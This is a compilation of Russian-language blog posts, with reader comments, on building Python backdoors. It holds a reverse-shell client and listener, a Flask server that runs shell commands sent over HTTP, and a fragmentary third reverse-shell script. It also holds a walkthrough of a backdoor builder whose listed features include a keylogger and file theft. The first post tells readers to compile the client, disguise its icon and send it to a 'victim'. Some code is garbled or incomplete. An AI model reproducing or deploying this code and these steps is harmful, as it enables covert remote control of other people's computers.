Простой Backdoor на Python
Всем доброго времени суток! Сегодня я расскажу как написать простой backdoor на Python(3).
import socket import os def ExecuteCommand(command): output = os.popen(command).read() return output def main(): host = "127.0.0.1" # ip который будем использовать port = 6500 # порт while True: while True: try: s = socket.socket() # создаем сокет s.connect((host,port)) # подключаемся except: break while True: try: data = s.recv(1024).decode() # получаем команду output = ExecuteCommand(str(data)) if len(output) == 0: s.send(" ".encode()) # в случае, если рзультат # пустой, отправляем пробел else: s.send(output.encode()) # отправляем результат except: break s.close() if __name__ == '__main__': main()
import socket def main(): host = "127.0.0.1" # ip который будем прослушивать port = 6500 # порт s = socket.socket() # создаем сокет s.bind((host,port)) s.listen(1) print("Waiting for connection. ") connection, address = s.accept() # подключаемся print("Connection from " + str(address)) while True: try: toSend = input("-> ") connection.send(toSend.encode()) # отправляем команду data = connection.recv(1024).decode() # получаем результат print(data) # выводим на экран except: break print("Connection refused") # в случае, если соединение разорванно connection.close() if __name__ == '__main__': main()
Сдесь сам «вирус» является клиентом, а не сервером.
Теперь о том, как это все скомпилировать и использовать.
Требуется:
1. Python 3
2. Pyinstaller (его можно установить через pip командой «pip install pyinstaller»)
Меняем в обоих скриптах ip на свой, а порт на любой открытый (если он не используется другим приложением конечно).
Теперь компилируем Client.py.
Помещаем файлы в папке dist/Client в WinRAR SFX и указываем, что должен
запускаться Client.exe (я не стал использовать флажок -F для pyinstaller, так как на некоторых машинах файл может запускаться медленно).
Маскируем файл (меняем иконку и т.д.) и отправляем жертва.
Запускаем наш сервер и ждем, пока жертва откроет файл.
Вот и удаленный доступ.
Небольшой бэкдор на Flask или как управлять компьютером в локальной сети
Недавно я посмотрел скачанную версию стрима по программированию «Как создать свое веб-приложение на Flask». И решил закрепить свои знания в каком-нибудь проекте. Долго не знал, что написать и мне пришла идея: «А почему бы не сделать мини-бэкдор на Flask?».
В голове тут же появились первые варианты реализаций и возможностей бэкдора. Но я решил сразу составить список возможностей бэкдора:
- Уметь открывать сайты
- Иметь доступ к командной строке
- Уметь открывать программы, фото, видео
Написание сервера
Итак, *барабанная дробь* весь код сервера:
from flask import Flask, request import webbrowser import os import re app = Flask(__name__) @app.route('/mycomp', methods=['POST']) def hell(): json_string = request.json if json_string['command'] == 'test': return 'The server is running and waiting for commands. ' if json_string['command'] == 'openweb': webbrowser.open(url='https://www.'+json_string['data'], new=0) return 'Site opening ' + json_string['data'] + '. ' if json_string['command'] == 'shell': os.system(json_string['data']) return 'Command execution ' + json_string['data'] + '. ' if json_string['command'] == 'link': links = open('links.txt', 'r') for i in range(int(json_string['data'])): link = links.readline() os.system(link.split('>')[0]) return 'Launch ' + link.split('>')[1] if __name__ == '__main__': app.run(host='0.0.0.0')
Я уже вывалил весь код, пора объяснять суть.
Весь код запускается на локальном компьютере на 5000 порту. Для взаимодействия с сервером мы должны отправлять JSON POST запрос.
Структура JSON запроса:
Ну, логично, что ‘command’ – команда, которую мы хотим выполнить. А ‘data’ – аргументы команды.
Можно писать и отправлять JSON запросы для взаимодействия с сервером ручками(вам в помощь requests). А можно написать консольный клиент.
Написание клиента
import requests logo = ['\n\n', '****** ********', '******* *********', '** ** ** **', '** ** ** ** Written on Python', '******* ** **', '******** ** **', '** ** ** ** Author: ROBOTD4', '** ** ** **', '** ** ** **', '******** *********', '******* ********', '\n\n'] p = '' iport = '192.168.1.2:5000' host = 'http://' + iport + '/mycomp' def test(): dict = r = requests.post(host, json=dict) if r.status_code == 200: print (r.content.decode('utf-8')) def start(): for i in logo: print(i) start() test() while True: command = input('>') if command == '': continue a = command.split() if command == 'test': dict = r = requests.post(host, json=dict) if r.status_code == 200: print (r.content.decode('utf-8')) if a[0] == 'shell': for i in range(1, len(a)): p = p + a[i] + ' ' dict = r = requests.post(host, json=dict) if r.status_code == 200: print (r.content.decode('utf-8')) p = '' if a[0] == 'link': if len(a) > 1: dict = r = requests.post(host, json=dict) if r.status_code == 200: print (r.content.decode('utf-8')) else: print('Комманда не содержит аргументов!') if a[0] == 'openweb': if len(a) > 1: dict = r = requests.post(host, json=dict) if r.status_code == 200: print (r.content.decode('utf-8')) else: print('Комманда не содержит аргументов!') if a[0] == 'set': if a[1] == 'host': ip = a[2] + ':5000' if command == 'quit': break
Первым делом импортируется модуль requests(для взаимодействия с сервером). Дальше описания функций start и test. А дальше цикл в котором происходит волшебство. Читали код? Значит вам ясен смысл волшебства, происходящего в цикле. Вводите команду – она выполняется. Shell – команды для командной строки(логика зашкаливает).
Test – проверка, работает ли сервер(бэкдор)
Link – использование «ярлыка»
Openweb – открытие сайта
Quit – выход из клиента
Set – задание ip вашего компьютера в локальной сети
А сейчас поподробнее о link.
Рядом с сервером лежит файл link.txt. В нём находятся ссылки(полный путь) к файлам(видео, фото, программы).
Итог
Мы имеем сервер-бэкдор для управления компьютером в локальной сети(внутри wi-fi сети). Технически мы можем запустить клиент с любого устройства, на котором есть интерпретатор python.
P.S. Команду set я добавил для того, чтобы если компьютеру в локальной сети присвоят другой ip, можно было прямо в клиенте его изменить.
- Системное администрирование
- Python
Создание бэкдора на Python

Основная цель бэкдора — отправлять и выполнять команды и получить удаленный доступ к файлам на целевой системе.
Создание бэкдора на Python
Во-первых, мы должны создать сервер, на котором будем работать. Сервер будет состоять из четырех частей:
1) Получение нашего локального IP и указанного порта.
2) Привязка IP-адреса и порта для создания сокета.
3) Запуск слушателя.
4) Отправка и получение команд в бесконечном цикле.
# Getting our local IP and a specified port
HOST = ‘127.0.0.1’ # ‘192.168.43.82’
PORT = 8081 # 2222
new_port = input(‘Input Host Port (Blank if default).’)
# Binding the IP to the Port
# Creating a Socket
# Starting the Listener
print(‘[+] Server Started’)
print(‘[+] Listening For Client Connection . ‘)
client, client_addr = server.accept()
print(f'[+] Client connected to the server’)
# Sending and receiving commands in an infinite loop
command = input(‘Enter Command : ‘)
print(‘[+] Command sent’)
Затем мы подключимся к атакующему на основе жестко запрограммированного IP-адреса и порта, поскольку он не может получить их динамически.
Поскольку мы запускаем эту обратную оболочку на локальной машине, сокет будет выглядеть так:
REMOTE_PORT = 8081 # 2222
Далее мы должны получать команды и использовать библиотечный подпроцесс для открытия терминала и параллельного запуска команд. Вот как это будет выглядеть:
op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
Полный код сервера выглядит следующим образом:
from ctypes.wintypes import INT
# Setting Up IP/Sockets
REMOTE_PORT = 8081 # 2222
print(«[-] Connection Initiating. «)
print(«[-] Connection initiated!»)
print(«[-] Awaiting commands. «)
op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
print(«[-] Sending response. «)
Информация предоставлена для ознакомительных целей!
Мы в телеграме!
Поддержать

196 постов 2.4K подписчика
Подписаться Добавить пост
Правила сообщества
Просьба уважать друг друга.
4 месяца назад
Здравствуйте, я молдавский вирус (с)
раскрыть ветку
4 месяца назад
для того что-бы заразить свой сервер, установите пожалуйста python, отключите аппармор, разрешите входящий трафик на указный порт, а потом запустите этот скрипт. спасибо
раскрыть ветку
4 месяца назад
Чёт я не понял: это инструкция, как продырявить свой собственный сервер? Зачем?
А если не свой, то как этот код туда попадёт?
раскрыть ветку
4 месяца назад
Бля, почему это в горячем с рейтингом -56?
раскрыть ветку
4 месяца назад
Шутки про молдавский вирус — это, конечно, забавно, но не в кассу: бэкдор — это по определению лазейка в систему, которую оставляет производитель оборудования/софта или недобросовестный сотрудник в информационной системе своей компании, доступ куда надо у него по определению есть. Пост максимально упоротый, и его можно критиковать буквально за каждое предложение и почти каждую строчку кода, но как раз базовый принцип работы бэкдора отражен корректно.
Про отсутствие sudo набрасывают в целом валидно, с другой стороны его может у владельца скрипта и не быть исходно, а вот с уже с пробуренным rce в спокойной домашней обстановке можно будет наколупать какую-нибудь privilege escalation дырень.
Самая большая проблема, из-за которой я вообще зашёл в комменты — это срок жизни этого бэкдора. Изначально я было хотел докопаться, что скрипт на уязвимой системе забыли куда-нибудь в system.d присунуть, чтобы он хотя бы ребут тачки переживал. Но потом почитал код 🙂 Этот бэкдор нужно взводить при уже запущенной ответной части на машине злоумышленника, а как только дунет ветерок и канал от жертвы до злоумышленника потеряется — скрипт-бэкдор завершится и станет бесполезен. Он одноразовый настолько, насколько это вообще возможно. Ну что стоило хотя бы connect в цикл засунуть?
Если опустить моменты про художественно-литературную ценность этого произведения (в некоторых абзацах даже зная, что тут должно происходить — решительно не получается понять «кто на ком стоял»), закрыть глаза на кривую терминологию (от того, что автор называет клиент сервером — клиентом он быть не перестанет), проигнорировать отсутствие каких-нибудь теоретических выкладок по тексту, у меня остаётся один главный вопрос: а для кого этот текст?
Те, кому может пригодится знание о том, как расставлять бэкдоры — и так прекрасно знают, как это делается (не так). Остальным это во-первых не нужно, во-вторых — у них все равно нет шанса понять, что тут написано (так уж написано). Остаётся вариант с любознательными детьми, которые смогут без изменений запустить эти два скрипта у себя на компе и позапускать команды — активность уровня раций из нитки и двух банок от йогурта.
Бэкдор на Python
Хай хацкеры, эта первая статья по годноте с GitHub’a. Сегодня рассмотрим интересный репозиторий под названием Python Backdoor . Этот репозиторий мне скинул подписчик, спасибо ему большое.
Изучаем!
Для начала качаем сам репозиторий:
Устанавливаем зависимости командой pip install -r requirements.txt
Теперь открываем файл setup.py :
Выбираем цифру 1, если использовать ваш ip (на скрине мой)
Цифру 2, если использовать другой ip адресс.
Цифру 3, если использовать DNS.
Я выберу цифру 2, т.к мы лиш изучаем данный бэкдор:
127.0.0.1 — локальный ip
Enter port number — указываете открытый порт, у меня он 5552.
Use UPX? y/n (y — да, n — нет) — использовать UPX сжатие?
Path for icon — Путь до иконки
Итак если всё пройдёт гладко появится примерно такая надпись:
18330 INFO: Building EXE from EXE-00.toc completed successfully.
В папке dist создался наш бэкдор.
Теперь открываем файл server.py :
Listening on port 5552
Открываем файл client.exe и в консоли появляется следующие:
Вводим команду —help
Чтобы узнать что к чему:
Перечислить все соединения Взаимодействие с соединением Открыть удаленный cmd с подключением Отправить команду каждому соединению Закрыть соединение выход и закрытие всех соединений
Посмотрим текущие соединения —l:
Подключаемся к ПК с ID 0.
Возможности при подключении(по порядку):
Отправить сообщение Открыть сайт Получить файл от пользователя Отправить файл пользователю Сделать скриншот Запустить автозагрузку Посмотреть файлы Узнать информацию о ПК Открыть CMD Отключить диспетчер задач Функции кейлоггера Заблокировать пользователя Перезапустить пользователя Выключить пользователя Переместить соединение в фоновый режим Закрыть соединение
Попробуем открыть сайт: